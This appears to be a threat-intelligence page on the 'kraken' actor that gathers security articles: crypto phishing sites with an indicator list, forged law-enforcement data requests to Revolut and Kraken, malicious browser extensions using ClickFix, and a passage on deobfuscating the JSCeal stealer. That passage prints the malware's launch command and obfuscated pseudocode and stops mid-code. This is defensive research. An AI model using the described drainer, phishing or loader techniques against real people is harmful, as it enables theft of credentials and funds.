Search/kraken
● Threat actor

kraken

Claimed attacks
16
Top country hit
US
8 attacks
Countries targeted
7
Last activity
Aug 11, 2026
first seen Jun 28, 2025
Dark Web Presence1
1 known leak site tracked

Known .onion/clearnet leak sites for this group, with live status — unlock with Premium.

Upgrade to Premium
Connections
48 relationships
Fake xStocks, Pendle, and other sites bait crypto users with rewards votes
We found 70 websites that impersonate legitimate crypto projects that invite visitors to vote on the date of an upcoming rewards distribution. The pages copy the look of the real sites closely, and on most of them the offer is small and believable: Cast a vote, and as an active voter you get a 1.25x boost when the rewards are paid out. However, the vote is fake and clicking the Vote now button opens a wallet connection prompt. It’s the first step toward requests that could trick visitors into authorizing access to their tokens. The brands being copied include xStocks from Kraken, Pendle, Zama, Kinetiq, Yield Basis, Firelight, and smaller platforms including Umia, Keeta, and NetNet. None of these pages are affiliated with the projects they imitate. Copies of familiar brands Each site is a close copy of the project it targets, down to the logo, menus, and colors. The Firelight copy even carries a real announcement about the protocol’s deposit cap, suggesting the pages were copied from the live sites rather than rebuilt from scratch. Most use the same wording about voting on the rewards date to earn a boost, though a few vary the pitch. The Pendle copy adds fake dates and a countdown to create urgency, the Keeta copy promises points instead of a boost, and the NetNet copy skips the vote and warns that unclaimed tokens will be burned after 48 hours. Why these brands The choice of targets does not appear to be random. Several of the impersonated projects have held a token launch, airdrop, or public token sale within the past year. Others run points or rewards programs. Their communities are used to hearing about rewards, claims, and allocations, and are primed to act on them. Zama ran a public token auction in January, and its token began trading in February. Kinetiq launched its governance token alongside an airdrop to early users in November 2025. Umia’s token auction ran from August 29 to September 2, only weeks ago. Firelight awards points to early depositors, and Pendle launched on Robinhood Chain on September 4. A message about rewards from one of these projects would not sound strange to someone who follows it. The lure appears designed to appeal to people who already hold the token or have used the protocol, because they’re the ones who might expect a distribution and want a bigger share. What happens when you click vote The Vote button does not lead to a ballot. It opens a Connect Wallet window that is the same regardless of which brand the page imitates. It lists WalletConnect, MetaMask, Trust Wallet, OKX Wallet, Binance Wallet, Bitget Wallet, and Rabby, along with an option to browse more than 28 others. This window resembles the connection prompts people see on legitimate crypto sites, which may make the request seem routine. Connecting a wallet on its own shares the wallet’s address, allowing the site to look up its holdings. At this point, it does not give the site permission to spend your tokens. The damage typically comes from what the site asks for next. In wallet-draining scams, a page may follow the connection with a request to sign a message or approve a transaction, presented as confirming the action the visitor came to take. A malicious approval or signature can give the attacker permission to move tokens out of the wallet without further confirmation. Blockchain transactions generally cannot be reversed, so stolen funds are very difficult to recover. Signs of a single operation Several details suggest a shared operation or phishing kit. All of the domains listed at the end of this article follow the same pattern: sitemu followed by a string of apparently random characters, on the .xyz top-level domain. The same templates are reused across several different brands, with the text appearing almost word for word whether the page is dressed up as Zama, Firelight, or Yield Basis—right down to writing the boost as 1,25x , with a comma in place of the decimal point. The wallet connection window behind the Vote button is identical across the brands as well. Random domain names spare the operator the work of coming up with a convincing lookalike address for each brand, and losing any single site costs them little. They also make the address bar one of the clearest giveaways on these pages. How to protect your wallet Check any claimed vote or rewards distribution through the project’s official channels before connecting your wallet. A familiar logo is easy to copy. Check the address, not the design.  These pages closely copy the real thing, so branding alone cannot establish that they are genuine. If the domain is not the one the project officially uses, close the tab. Go to the project directly.  If a vote or a reward is genuine, it will be on the project’s official site or announced on its established social accounts. Use a bookmark or type the address yourself rather than following a link from a message, ad, or reply. Read what your wallet asks you to sign.  Voting should not require you to approve spending of your tokens. If a signature or transaction request mentions approvals, permits, or transfers, reject it. Wallets that preview the outcome of a transaction can help, but do not approve a request you cannot understand. Be wary of boosts, bonuses, and deadlines.  Promises of extra rewards and warnings that unclaimed tokens will be burned can pressure you to act before checking. Keep most of your funds in a separate wallet.  Use a wallet with a small balance for unfamiliar sites, and keep long-term holdings in a wallet that you don’t use for those connections. If you already connected, disconnect from the site. If you also signed a message or approved a transaction, use your wallet’s approval-management feature or a trusted token approval checker to review and revoke suspicious permissions. Disconnecting alone does not revoke token approvals. If you suspect your recovery phrase or private key was exposed, move remaining funds to a new wallet created with a new recovery phrase. How Malwarebytes helps Malwarebytes Browser Guard can block known phishing and scam sites before you interact with them. That is useful in campaigns like this one, where the fake page closely resembles the real thing. If you receive a link to a rewards vote, claim page, or airdrop and are unsure about it, Malwarebytes Scam Guard can help assess the link before you connect your wallet. Check the offer through the project’s official channels too. Indicators of compromise sitemufl06qs0r4o[.]xyz sitemui6m6bbj1bd[.]xyz sitemui8go6g99bb[.]xyz sitemuicitd4jrtr[.]xyz sitemuidkr38kji0[.]xyz sitemuidlij5urd0[.]xyz sitemuif3pa5k4eh[.]xyz sitemuife3h91vjj[.]xyz sitemuioeefbyh3i[.]xyz sitemuioi7005ekb[.]xyz sitemuizkhpdbjnv[.]xyz sitemuj1xencnin8[.]xyz sitemuj7lzbasipw[.]xyz sitemujbcz1nas1x[.]xyz sitemujdi54aitrf[.]xyz sitemujejvp4tp0x[.]xyz sitemujffobdhxgj[.]xyz sitemuji07m137aw[.]xyz sitemujoqrmsm0et[.]xyz sitemujrfn7witew[.]xyz sitemujsm7brhwh0[.]xyz sitemujtcvh5q9fj[.]xyz sitemujtd8ingh2b[.]xyz sitemujtdkvy6c7n[.]xyz sitemujufht1ntj4[.]xyz sitemujufs1975v4[.]xyz sitemujug76lkyke[.]xyz sitemujumvtmjaf1[.]xyz sitemujuncdlpnng[.]xyz sitemujuno47vpud[.]xyz sitemujunzgjapds[.]xyz sitemujw19idqe01[.]xyz sitemujw1uspghl1[.]xyz sitemujwcvm5ufu8[.]xyz sitemujxjlv2lmhh[.]xyz sitemuk3jcm1olr8[.]xyz sitemuk3jpe1eph7[.]xyz sitemuk3z1hh2tvn[.]xyz sitemuk3zjrr2ufy[.]xyz sitemuk3zu5776gi[.]xyz sitemuk6zd201nsw[.]xyz sitemuk7f31386dx[.]xyz sitemuk7fi1dcrp4[.]xyz sitemuk7fvnvihra[.]xyz sitemuk7xbyszpzj[.]xyz sitemuk7y434m4om[.]xyz sitemuk7yi5eqn74[.]xyz sitemuk7ys6db9qj[.]xyz sitemuk9ayiwadjz[.]xyz sitemuk9c4oppeco[.]xyz sitemukh5awm67rj[.]xyz sitemukpy2hpmpwv[.]xyz sitemukrod1am6ez[.]xyz sitemukvxv7j5hmv[.]xyz sitemukvy7wudsqb[.]xyz sitemukww7ivnaji[.]xyz sitemukwxih8302f[.]xyz sitemul94tcv4l80[.]xyz sitemul95f18sowo[.]xyz sitemul95pxqgmm8[.]xyz sitemulaay8dbm66[.]xyz sitemulaucnbmnrd[.]xyz sitemulffos1qryn[.]xyz sitemuli8pd7qi9z[.]xyz sitemulpmt6if530[.]xyz sitemulpnff7964j[.]xyz sitemulpo7jkntfz[.]xyz sitemulr9d1dg77r[.]xyz sitemuls00qrsh0k[.]xyz sitemulszq4rm2yn[.]xyz
malwarebytes.comOct 1, 2026extracted
Da “27 wallet a 27 superfici di attacco”: un’analisi dei casi Revolut e Kraken
Banche, exchange e fintech sotto pressione attraverso false richieste apparentemente provenienti dalle autorità: il caso Revolut, il precedente Kraken, gli attori coinvolti, l’amplificazione pubblica e le implicazioni politico-normative Autori: Olivia Terragni , Edoardo Faccioli , Luca Stivali , Raffaella Crisci L’analisi è stata sviluppata nell’ambito del Dark Lab di Red Hot Cyber . L’intero report può essere scaricato qui sotto: il fascicolo ricostruisce due casi concreti — l’incidente Revolut (2026) e il precedente Kraken (2025) — allo scopo di trasformare l’analisi dell’attacco in uno strumento operativo di difesa. 27 Wallet 27 superfici di attacco Download I casi Revolut e Kraken: la vulnerabilità è sistemica Il caso Revolut conferma che ogni infrastruttura nazionale di identità — PEC, SPID, wallet eIDAS — è una superficie di attacco all’interno di un’architettura di fiducia globale. La vulnerabilità dell’UE non è tecnica, ma sistemica: un singolo canale nazionale compromesso può esporre dati e utenti in tutto lo spazio finanziario europeo. L’utente @StarryCook su X, nei primi giorni dell’incidente ha sintetizzato bene la posta in gioco:: « 27 wallets d’identité = 27 surfaces d’attaque. La fuite Revolut me le confirme : la souveraineté se joue dans l’exploitation ». Ogni Stato membro è un nodo di fiducia, e ogni nodo è un potenziale punto di rottura. La sovranità digitale non si misura nelle dichiarazioni di principio, ma nella capacità operativa di usare — o abusare di — queste infrastrutture di fiducia. Chi sa sfruttare un canale PEC compromesso, un wallet nazionale o un processo di verifica ha più potere reale di chi si limita a proclamare la propria sovranità tecnologica. Il caso Revolut è la prova concreta: un solo canale nazionale è bastato per colpire una piattaforma globale ed esporre cittadini di molti Paesi UE. Ci troviamo oggi di fronte ad un caso che non è soltanto un “data breach” nel senso classico: è un caso di social engineering tramite abuso di un canale istituzionale  e possibile fallimento dei controlli di verifica delle richieste . Revolut ha dichiarato che i fondi dei clienti e i propri sistemi non risultavano compromessi, ma che dei dati sensibili sono stati consegnati a una parte non autorizzata dopo richieste fraudolente apparentemente provenienti da un dominio governativo legittimo (Reuters, 12/09/2026). Il caso potrebbe inserirsi in uno s chema più ampio di abuso delle caselle istituzionali e dei processi con cui banche, exchange e fintech rispondono alle richieste delle autorità. Ma non è il solo. Nel 2025, secondo un atto processuale depositato in California (John Doe v. Payward, Inc. d/b/a Kraken, San Francisco Superior Court, CGC‑26‑634771, marzo 2026), criminali hanno inviato a Kraken almeno tre email provenienti da un indirizzo sul dominio  @interno.it , presentandole come richieste di un’agenzia di law enforcement italiana. Kraken ha risposto a queste email e ha divulgato dati sensibili del cliente (nome, data di nascita, indirizzo, numeri di telefono, informazioni sull’account), che sono poi stati usati per una campagna di estorsione con minacce fisiche Nel 2026, lo schema sarebbe proseguito attraverso una PEC riconducibile alla Prefettura di Reggio Calabria e documenti presentati come Ordini europei di indagine. Nel caso Revolut, le ricostruzioni giornalistiche indicano che richieste fraudolente sarebbero state utilizzate per ottenere, anche per un periodo prolungato, fascicoli KYC di clienti ad alto patrimonio selezionati attraverso informazioni pubbliche sulla blockchain. Questi elementi suggeriscono una possibile continuità operativa, ma il collegamento tra i diversi episodi resta un’ipotesi da verificare. Gli attori (IAmNotAVillain, Revolut Smilik) sono poi passati all’estorsione e alla pubblicazione dei dati e un casinò crypto (Duel) nel frattempo ha ottenuto un contatto privilegiato con l’ hacker , mentre fornitori, media e account terzi hanno continuato ad amplificare la vicenda. Gli attaccanti hanno successivamente trasformato l’operazione in un’attività di estorsione e pubblicazione di dati, aumentando l’impatto attraverso leak, canali online, media e soggetti terzi. Il punto di arrivo è politico-normativo: Lyudmyla Kozlovska , attivista ucraina per i diritti umani e presidente della  Open Dialogue Foundation (ODF) ha usato il caso come prova che la verifica delle richieste statali è impossibile e che le regole FATF, antiriciclaggio e DAC8 vanno cambiate. Le sue dichiarazioni sono rilevanti sul dibattito su verifica delle richieste statali, e i temi sulla cooperazione giudiziaria e la repressione finanziaria transnazionale. In entrambi gli scenari, i dati sensibili dei clienti sono diventati una leva di attacco senza alcuna violazione diretta dei sistemi informatici. Nel caso Revolut, la compromissione è avvenuta tramite richieste falsificate inviate da una casella PEC istituzionale; nel caso Kraken, tramite l’abuso di accessi interni ai sistemi di supporto. Al centro di questo report vi è un paradosso normativo : le informazioni che le direttive KYC e AML obbligano a raccogliere per tutelare il sistema (identità, documenti, transazioni) sono le stesse che, se consegnate alla parte sbagliata, espongono irrimediabilmente l’utente. Da qui la doppia natura del documento: un’analisi fattuale degli eventi e un framework di riferimento per gli operatori finanziari. Il vettore di attacco e la cronologia dell’incidente Il vettore d’attacco primario è l’abuso del canale fiduciario. Le richieste malevole sfruttano l’implicita fiducia riposta nel mittente ufficiale (PEC, email di enti governativi, o spoofing telefonico). Tra la ricezione della richiesta e l’invio dei dati si apre una falla critica di processo. Verificare una richiesta proveniente dalle autorità è complesso, stretto tra l’obbligo normativo di collaborazione rapida e la mancanza di strumenti per un’autenticazione certa. A ciò si somma l’errore umano: in almeno un passaggio documentato, i dati sono stati trasmessi rispondendo direttamente all’indirizzo compromesso, senza l’attivazione di canali di verifica indipendenti (es. out-of-band ). Si tratta di fallimenti procedurali. In una catena di fiducia tra autorità pubbliche e istituti finanziari, quali controlli spettavano a ciascun anello — l’ente titolare del canale, la banca che divulga i dati, il quadro normativo che regola le richieste — e quali sono venuti meno?” Sebbene la compromissione tecnica riguardi il mittente, le normative (a partire dal GDPR) pongono in capo all’istituto finanziario, in quanto titolare del trattamento, una responsabilità qualificata sui dati dei clienti — pur senza escludere quella degli altri anelli della catena. Questo impone alle banche l’obbligo di implementare verifiche procedurali indipendenti : in almeno un passaggio documentato, invece, i dati sono stati trasmessi rispondendo direttamente all’indirizzo compromesso, senza attivare protocolli di autenticazione out-of-band (come una verifica telefonica tramite contatti ufficiali). Questo limite dei controlli tradizionali di fronte ad attacchi basati su credenziali istituzionali rubate (es. via infostealer ) sta forzando un cambio di paradigma nel settore. Un caso emblematico è l’integrazione della Dark Web Intelligence nei processi di Anti-Financial Crime . La recente partnership strategica tra Nasdaq Verafin e Q6 Cyber evidenzia la necessità sistemica di monitorare attivamente l’underground criminale per intercettare le fughe di dati in via preventiva, colmando proprio quella “zona grigia” procedurale sfruttata nei casi qui analizzati. L’ultimo anello della catena è l ‘impatto reputazionale . Il dato sottratto viene impiegato non solo come merce nel mercato underground , ma come leva estorsiva: richieste di riscatto pubbliche e pressioni mediatiche su istituti esposti sui mercati dei capitali (quotazioni, listing , fiducia degli investitori). Poiché l’esecutore tecnico dell’attacco, l’estorsore e l’amplificatore mediatico non coincidono necessariamente, il report mantiene separati questi livelli, lasciando aperta l’attribuzione del movente.  Il perimetro metodologico si basa esclusivamente su fonti aperte ( OSINT /CTI). Ogni affermazione è accompagnata da un livello di confidenza analitica (Alta, Media, Bassa), separando i fatti comprovati dalle dichiarazioni degli attori di minaccia, che sono trattate come fonti di parte e non come prove. Nessun dato personale delle vittime è riprodotto. Infine, l’analisi solleva un interrogativo strategico di fondo: cui prodest? Il bersaglio reale di queste campagne è il database dell’istituto finanziario — per la mera monetizzazione dei dati — o la catena di fiducia stessa tra autorità pubbliche e soggetti privati? La distinzione non è secondaria: se l’obiettivo fosse il canale, e non il singolo record, il danno andrebbe letto su un piano sistemico — dubbio strutturale, collaborazione più lenta tra law enforcement e banche, l’obbligo di compliance che si ribalta in superficie di vulnerabilità — una dinamica che eccederebbe la semplice estorsione. È un’ipotesi da tenere aperta, non una conclusione: i reperti disponibili non permettono di stabilire se si tratti di monetizzazione opportunistica o di un bersaglio deliberato del canale fiduciario. Il documento non ha finalità accusatorie né stabilisce responsabilità legali; laddove i fatti non risultino accertati, lo dichiara esplicitamente. Trattandosi di un panorama di minaccia dinamico, il presente lavoro è da considerarsi in continua evoluzione. Buona lettura. L'articolo Da “27 wallet a 27 superfici di attacco”: un’analisi dei casi Revolut e Kraken proviene da Red Hot Cyber .
redhotcyber.comSep 21, 2026extracted
Malicious Chrome and Edge add-ons: how to spot them and why they’re dangerous | Kaspersky official blog
Malicious extensions and ClickFix attacks are two hugely popular topics on our blog, and for a good reason: they’re both very common. In this post, we bring them together. Here’s the thing: in our posts about malicious ClickFix instructions, we don’t always explain exactly how users end up on the attackers’ pages in the first place. A recent study gives us a chance to fill that gap and talk about one of those methods: malicious extensions. Readers who are not deep into cybersecurity may already have a bunch of questions at this point: how can extensions be malicious? where do they come from? and what exactly is ClickFix, anyway? Fret not: this post answers all these questions. The danger of browser extensions Let’s start with the basics. Browser extensions or add-ons are lightweight tools installed in your browser to give it extra capabilities or change how it works with web pages. For example, extensions can block ads, translate pages, download audio and video, save passwords, or take screenshots. Most browser developers offer users an official extension store. For instance, for the most popular browser, Chrome, that store is the Chrome Web Store. There are also alternative platforms for distributing extensions, though browser developers have recently made it much harder to install and use extensions that don’t come from an official source. Just like any other software, extensions can be useful, but they can also be malicious. In fact, cybercriminals often spread malicious extensions through those very same official stores , and we’ve covered plenty of such cases on our blog before. It’s no accident that criminals love spreading malicious plug-ins. To work properly, most extensions need permission to read and modify the content of every web page the user visits. Without that permission, add-ons would be basically useless. For instance, a translation extension needs to read all the text on a page before it can swap the original for the translation. Cybercriminals take advantage of these capabilities for their own purposes: for example, they intercept logins, passwords and other data entered on websites, swap out payment details, or show victims fake forms and messages. And all of this happens on legitimate sites that users have come to trust without a second thought. Now let’s move on to a fresh piece of research about a campaign that spread 19 malicious add-ons through the Chrome and Edge extension stores . We’ll use it as an example to look at what these tools can actually do. Almost twenty malicious extensions for Chrome and Edge In late August, cybersecurity researchers reported finding 18 malicious extensions for Chrome and one for Edge. They said all 19 add-ons were probably linked to the same campaign. They base this on the similarity of the malicious code and the methods the attackers used. You’ll find the full list of malicious extensions at the end of this post. Most of the extensions discovered, 14 in total, were built by the attackers themselves. Their first versions weren’t malicious at all and did exactly what users downloaded them for. But after a while, once users had come to trust the add-on, the attackers pushed an update that slipped in malicious functionality. As for the remaining five extensions, their creators had nothing to do with the cybercriminals at all. They simply sold their creations to them. This way of getting hold of extensions is also popular among cybercrooks. There are plenty of reasons for that: ready-made add-ons can be bought for relatively little money, and criminals don’t have to build or promote them from scratch. And most importantly, along with the extension, they also inherit its existing user base. Upon buying the add-on, all the attackers need to do is add malicious functions and push an update that installs automatically for users. Users are never told that the extension’s real owner has changed. In this case, the add-on cybercriminals bought most often was Enable Right Click & Copy — Smart Unlock + OCR . It had 70 000 users in Chrome and 10 000 in Edge. This purchase is exactly why there’s a single Edge extension among all its Chrome relatives. The add-on itself originally served a perfectly benign purpose: it let users select and copy text on sites where that’s normally blocked, and it could also pull text out of images with optical character recognition (OCR). At the time of the research, the Edge version of the extension had more than 10 000 users. Source The malicious functionality introduced into the extension makes it reach out to the attackers’ command-and-control (C2) server to download additional modules of nefarious code. These modules can change over time. Since Chrome automatically updates all installed extensions by default, the malicious version lands on the device without users having to do anything at all. For the downloaded code to run on the websites the user visits, the extension disables one of their defenses — Content Security Policy (CSP) . This mechanism allows website owners to declare which scripts and other resources are allowed to load and run on a page. Once this protection is turned off, the extension can inject code it gets from the C2 server right into the pages open in the browser. The website itself isn’t hacked, and it looks the same to everyone else, but for that one infected user, the legitimate page quietly turns malicious. What these 19 extensions can do Now let’s take a closer look at what the malicious modules loaded by the extension are actually capable of. Researchers found 16 such modules, built for all sorts of tasks: from stealing data and hijacking cryptocurrency to the ClickFix attacks we’re focusing on here. Some of the modules simply collect user data. They intercept logins, passwords, email addresses, and other valuable information the user enters into web forms, including payment details. On top of that, the add-ons steal data from Facebook and LinkedIn accounts and collect browsing history. Criminals can use this information to take over accounts, steal money, and launch further attacks against the victim. A few other modules focus specifically on stealing cryptocurrency and related data directly. One of them is a crypto drainer, a tool that empties crypto wallets. It works with Ethereum and compatible blockchains as well as Solana and Tron. It replaces the real Connect Wallet and Swap buttons on websites with its own fake ones. When a user clicks one of these buttons, the drainer takes over all further interaction with the wallet and walks the victim through confirming the actions needed to steal their cryptocurrency. Other modules target users of Ledger and Trezor hardware wallets. Right on the official websites of these services, the malicious extension displays a fake wallet update-and-restore page that asks for a seed phrase of 12, 18, or 24 words. The seed phrase the user enters is forwarded straight to the attackers, giving them full control over the wallet. The fake form asks the user to enter a seed phrase of 12, 18, or 24 words, which then ends up in the attackers’ hands. Source Finally, some modules gather information from crypto service pages open in the browser, such as OKX, MEXC, Kraken, KuCoin, Coinbase, Binance, Bybit, and MetaMask, including balance details and active session data that can be used to hijack accounts. And now we’ve finally reached the module that matters most for this post: the one used for ClickFix attacks. We’ll talk about it in the next part. How malicious extensions are used in ClickFix attacks The ClickFix attack technique has become extremely popular among cybercriminals lately. It relies on social engineering : the victim is shown fake instructions supposedly needed to complete some action, such as passing a CAPTCHA check, fixing an error, or updating a program . Following these instructions, the user copies the command suggested by the attackers, pastes it into a system tool built for running these commands, and runs it, all by themselves. We’ve written about attacks like this and their consequences more than once on our blog. But we rarely dig into exactly how a victim ends up on a page with fake instructions in the first place. A campaign that spread malicious extensions through the Chrome Web Store shows us one way this can happen. Add-ons turn out to be a very handy tool for ClickFix attacks. As we mentioned earlier, when a user visits a page, extensions are allowed reading and changing its content in order to work. That gives attackers the chance to swap in a fake ClickFix instruction at just the right moment, replacing the content of the page the person actually wanted to open. What’s more, the ClickFix technique itself lets attackers break out of the browser and gain a foothold directly in the system. That means removing the malicious extension won’t necessarily undo the damage: after the user has run the ClickFix command, malware may already be installed outside the browser. In the specific attack example the researchers describe, the user sees a fake notification saying their browser needs to be updated, along with instructions on how to do it. The instructions change depending on the operating system, and the extension picks up that information automatically too. In the macOS version of this attack, the user is told to open Terminal, copy a command, paste it there and run it, then restart Chrome to supposedly finish the update. Source How to avoid falling victim to infected extensions First off, we recommend checking whether any of the following malicious extensions are already installed in your browser: Enable Right Click & Copy — Smart Unlock + OCR RapidLens – Google Lens for Screen Search & Images QuickLens – Search Screen with Google Lens Password Protect PDF Allow Copy – Select & Enable Right Click PixelCheck Creative Library – Ad Spy Tool Website Traffic Checker: MirrorSphere SEO Stats Site Signal – Website Traffic & SEO Checker SEO Pulse Pro – Website Traffic & SEO Analyzer Private Crypto News Reader Blockfolio: Address Monitor Crypto Rates & Fiat Converter Crypto Alerter: Price Alarms & Volatility Warnings DeFi Pulse Tracker Crypto Price Badge: Quick Glance Multi-Chain Explorer LedgerLook: Wallet Checker Meta & Facebook Ad Library Spy — Save Ads, Finder, Downloader | FeedX-Ray If you find any of these extensions on your device, we recommend removing it as soon as you can and running a full system scan with a reliable antivirus . As we mentioned above, simply deleting the add-on might not be enough. You can use a free trial version  to detect and remove the infection. How to avoid falling victim to malicious extensions and ClickFix attacks in the future? Don’t install too many extensions and regularly check the list of those you have. Remove extensions you don’t use. Trust the warnings from your operating system and security software, rather than the instructions — or even the demands — of websites and apps. Install a trusted security solution  on all your devices. What else makes browser extensions and the ClickFix technique dangerous? Find out in our other posts: Bad advice for gamers: ClickFix hits Steam forums ClickFix on macOS: how Apple users are being scammed Infostealer has entered the chat AI sidebar spoofing: a new attack on AI browsers Dangerous browser extensions
kaspersky.comSep 17, 2026extracted
Breaking the Seal: Static Deobfuscation of JSCeal’s Compiled V8 Bytecode
Research by:   hasherezade Key Points Since early 2025, Check Point Research has been tracking JSCeal, a sophisticated cryptocurrency-focused stealer with broader credential-theft, surveillance, and traffic-interception capabilities, delivered as compiled V8 bytecode (JSC files). The payloads are protected with  javascript-obfuscator , using multiple techniques including RC4-protected strings, control-flow flattening, proxy functions, and operation wrappers. Our goal was to recover the code to a level that enables detailed analysis, comparison between samples, and tracking of the malware’s evolution. CPR developed a fully static deobfuscation pipeline that transforms View8 pseudocode without executing the malware. An optional LLM-assisted renaming stage can then be used to make large, recovered codebases easier to navigate. The complete toolkit is publicly available at  jsc_deobfuscator . The deobfuscated output enabled detailed analysis of JSCeal’s capabilities and their implementation, including keylogging, browser and credential theft, and HTTPS traffic interception through a local MITM proxy. We  presented this research at Black Hat USA 2026 . This article complements the talk by documenting the methodology in greater technical depth and providing additional examples and implementation details. We conclude with a brief look at more recent JSCeal developments, including V8 code caches generated for a newer Node.js/V8 version, an additional payload-encryption layer, and macOS targeting. Introduction JSCeal is a stealer delivered as compiled V8 bytecode ( .jsc ) and executed by a bundled Node.js runtime, targeting cryptocurrency applications (other vendors also tag it with the names WEEVILPROXY or MeadowLocust). Its campaign activity dates back to March 2024 [ 1 ]; Check Point Research has been tracking the malware since early 2025. Our previous publication from July 2025 [ 1 ] focused on the campaigns, delivery chain, and targeting. In this article, we focus on the analysis problem hidden inside the final payload. Unlike ordinary JavaScript malware, JSCeal reaches the analyst after two transformations have already removed much of the information that source-oriented tools depend on. First, the JavaScript is heavily obfuscated. Then it is compiled into V8’s internal bytecode representation and shipped as cached data rather than source code. The resulting format is version-specific, poorly served by mature reverse-engineering tooling, and unsuitable for most standard JavaScript deobfuscation workflows. From the attacker’s perspective, this combination is attractive because it is inexpensive to produce. Node.js and its package ecosystem provide ready-made building blocks for complex applications, while public tools such as  javascript-obfuscator  [ 6 ] can add several layers of source-level obfuscation before compilation. The analyst receives only the compiled artifact. In 2024, our colleague Moshe Marelus published  View8 , an open-source decompiler for V8 bytecode [ 2 ]. We used it as the foundation for a static deobfuscation pipeline tailored to the patterns found in JSCeal. During this work, we extended View8 [ 3 ] to make its output reproducible and suitable for automated post-processing, and implemented dedicated passes for value propagation, string reconstruction, control-flow unflattening, proxy and operation-wrapper resolution, and additional cleanup. The goal is not perfect source recovery — V8 compilation is lossy, and the output of decompilation remains pseudocode. Instead, we aimed to recover enough structure and semantics to read the malware as code again: follow its logic, compare samples, locate capability branches, and validate behavior against concrete strings, APIs, paths, and data flow. Later in the article, we use one selected JSCeal payload as a case study and walk through portions of the recovered code, including browser and cryptocurrency theft, keylogging, screenshot capture, and a local HTTPS interception proxy. Distributed payloads Let’s start by understanding the role of the JSC files in the whole attack chain. The payloads were delivered in campaigns that began with malvertising and were followed by multiple PowerShell scripts. The complete flow is illustrated below: Figure 1 – The final stage infection flow (image first presented in [ 1 ]) The last stage consists of two ZIP archives downloaded by PowerShell: node.zip  – a packaged Node.js runtime build.zip , containing the final payload and supporting components: winpty-agent.exe  – an agent for a hidden Windows console ( open source ) winpty.dll  – a module that allows interaction with the hidden console ( open source ) app.jsc  – The JSCeal malware payload preflight.js  – a decompression script Native  .node  modules (PE format) used by the payload The final JSC payload is distributed in Brotli-compressed [ 5 ] form and decompressed by  preflight.js . The loading is triggered by the last PowerShell script in the chain, containing the command line: .\node.exe -r .\preflight.js .\app.jsc  (the option  -r  forces Node to run a JS file  before  loading the main module). The size and complexity of the JSC payloads varied. They were all obfuscated with the same open-source obfuscator [ 6 ]. Analysis methodology While typical analysis procedures were sufficient for the earlier stages, the final JSC payload remained challenging. Because it was delivered as a V8 code cache rather than JavaScript source, conventional source-level JavaScript instrumentation was not directly applicable. Native-level hooking and dynamic binary instrumentation (DBI) could reveal process and API activity, but did not recover the payload’s JavaScript-level semantics at a useful level. Sandbox execution therefore provided mainly low-level system-interaction telemetry. To understand the payload’s logic, we turned to static analysis, which required deobfuscation. Since the JSC payload is Brotli-compressed, the first step is to remove this layer. This yields the V8 code cache, which can then be supplied to a compatible disassembler. The disassembled output is then passed to the View8-based pipeline, which includes decompilation and transformation by multiple deobfuscation passes. Each pass can be used as a self-contained script. To support modularity, we extended View8 with  pickle serialization  of its internal object graph. We also added function-level visibility controls and metadata annotations (details in  Appendix A ). Figure 2 – the pipeline demonstrating steps applied to the original JSC sample Our toolkit is publicly available at https://github.com/hasherezade/jsc_deobfuscator [ 7 ] The following flowchart describes the major steps of the pipeline; details of each follow in subsequent sections. Figure 3 – the flowchart of the deobfuscation pipeline We applied the pipeline to 23 JSCeal payloads collected over several months ( Appendix B ); it produced analyzable output in all cases. Environment Setup The toolkit used for the main body of this research was developed on Linux. The JSCeal generation analyzed in depth in this research used a bundled Node.js runtime based on V8  10.2.154.26-node.25 . The distributed  app.jsc  was Brotli-compressed; after decompression, the resulting file was a V8 code cache that could be supplied to a compatible disassembler. V8 cached data is version-sensitive, so before decompilation we first need to obtain a correct bytecode listing. We followed the general approach used by the View8 fork from j4k0xb [ 4 ]: build the corresponding V8 version, apply the required patches, and use a small program based directly on the V8 API to consume the cache. During this process, we encountered a bug in the original V8 code that caused a string-printing problem and corrupted some disassemblies containing wide characters. It passed a 16-bit code unit through byte-oriented printable-character handling, which could inject malformed output into string literals and break View8 downstream. We patched the printer so that printable ASCII remains literal, byte-sized non-printable values use  \xNN , and wider values are emitted as  \uNNNN . The patch is included in the public repository [ 9 ], and the complete build procedure is documented on the project Wiki [ 10 ]. The released toolkit contains both the disassembler source and the V8 patches required for the supported generation. A prebuilt Linux disassembler is also distributed with the project [ 7 ]  release . Decompiled output Once we have the correct disassembly, we can proceed with decompilation. However, there are some details to keep in mind. View8 does not reconstruct the original JavaScript source. It lifts V8 bytecode into pseudocode that reflects its underlying execution model. Recovered functions are represented in a form such as: function func_[name]_0xdisassembly_address The entry point is a function labeled  start , for example:  func_start_0x323d9daddcd9 . In ordinary View8 output, the hexadecimal suffix is derived from address values emitted during disassembly. Because these values may differ between runs, our modified View8 can normalize function identifiers deterministically based on parse order. This makes the results reproducible (details:  Appendix A ). The pseudocode follows the underlying V8 concepts rather than ordinary JavaScript local-variable names. Each function can make use of its arguments, the accumulator, and a set of local virtual registers. It also has access to its own constant pool, global variables, and context storage exposed through  Scope . Function arguments are represented as  a0  to  aN , while local virtual registers are printed as  r0  to  rN .  ACCU  denotes the current V8 accumulator value. Functions can declare nested functions and share values with them through their surrounding context. In View8, these relationships are visible through the declarer hierarchy and  Scope[...]  references. Values placed into a scope by a declarer function may later be consumed by nested functions. Reconstructing those relationships is essential for JSCeal because the obfuscator frequently moves constants, decoder offsets, proxy references, and dictionary objects through scope rather than keeping them local. As the root of the function hierarchy, the  start  function is the only function without a declarer. The start function also initializes the global bindings used throughout the program. In raw View8 output this is visible through  DeclareGlobals , for example: ACCU = DeclareGlobals(["oQ", "kg", "xQ", func_yz_0x323d9daeb509, 893, [...] ]) For readability, our modified View8 marks global identifiers explicitly with a  global_  prefix. The prefix prevents collisions with local register notation and makes later propagation easier to follow. Since the original JavaScript was obfuscated before compilation, the View8 output contains artifacts introduced by the obfuscator, making the recovered pseudocode considerably harder to interpret. A detailed explanation of each obfuscation layer and the applied countermeasures is provided later in this article. For example, a single function from a JSCeal payload decompiled by View8 looks like this: function func_unknown_0x398fa079bb71(a0) { r2 = Scope[19][74][func_Ht_0x398fa0799da9(136760, "ZCe3")] r2 = r2(a0) r3 = func_Ht_0x398fa0799da9(57973, "Vbp&") r3 = (r3 + func_Ht_0x398fa0799da9(194117, "Af5z")) r3 = (r3 + func_Ht_0x398fa0799da9(86681, "XDjZ")) r1 = r2[(r3 + func_Ht_0x398fa0799da9(100990, "5Yvr"))] r1 = r1() r2 = func_Ht_0x398fa0799da9(75831, "b6Sj") r0 = r1[(r2 + func_Ht_0x398fa0799da9(49188, "Amc*"))] return 